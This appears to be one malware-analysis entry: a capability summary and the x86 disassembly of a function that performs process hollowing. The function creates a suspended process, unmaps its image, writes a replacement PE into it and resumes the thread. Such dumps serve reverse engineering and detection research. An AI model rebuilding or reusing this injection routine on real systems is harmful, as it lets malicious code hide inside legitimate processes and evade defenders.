Function at 0x131466fc
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd68
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x13146971
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1cc]
xor ecx, ecx
mov edx, 0x44
call fcn.13142a28
lea eax, [ebp - 0x188]
xor ecx, ecx
mov edx, 0x10
call fcn.13142a28
lea eax, [ebp - 0x298]
xor ecx, ecx
mov edx, 0xcc
call fcn.13142a28
mov dword [ebp - 0x1cc], 0x44
mov dword [ebp - 0x298], 0x10007
lea eax, [ebp - 0x58]
mov ecx, 0x40
mov esi, ebx
mov edx, esi
call fcn.131466ec
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x1c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, eax
lea eax, [ebp - 0x150]
mov ecx, 0xf8
call fcn.131466ec
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x1cc]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push edi
push 0
call sub.KERNEL32.DLL_CreateProcessW
test eax, eax
je 0x13146967
push 0xc8
call sub.KERNEL32.DLL_Sleep
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x188]
mov dword [eax], edx
lea eax, [ebp - 0x298]
push eax
mov eax, dword [ebp - 0x184]
push eax
call sub.KERNEL32.DLL_GetThreadContext
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1f4]
add eax, 8
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.ntdll.dll_NtUnmapViewOfSection
push 4
push 0x3000
mov eax, dword [ebp - 0x100]
push eax
mov eax, dword [ebp - 0x11c]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xfc]
push eax
push esi
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
mov eax, dword [ebp - 0x1c]
add eax, 0xf8
mov dword [ebp - 0x18], eax
movzx esi, word [ebp - 0x14a]
dec esi
test esi, esi
jl 0x13146901
inc esi
xor edi, edi
mov eax, ebx
add eax, dword [ebp - 0x18]
xor edx, edx
push edx
push eax
mov eax, edi
shl eax, 3
lea eax, [eax + eax*4]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, eax
lea eax, [ebp - 0x178]
mov ecx, 0x28
call fcn.131466ec
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x168]
push eax
mov eax, ebx
add eax, dword [ebp - 0x164]
push eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x16c]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x14]
push eax
push 0x40
mov eax, dword [ebp - 0x170]
push eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x16c]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_VirtualProtectEx
inc edi
dec esi
jne 0x13146882
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x1f4]
add eax, 8
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x128]
mov dword [ebp - 0x1e8], eax
cmp byte [ebp - 5], 1
jne 0x13146967
lea eax, [ebp - 0x298]
push eax
mov eax, dword [ebp - 0x184]
push eax
call sub.KERNEL32.DLL_SetThreadContext
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov eax, dword [ebp - 0x184]
push eax
call sub.KERNEL32.DLL_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13146997
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret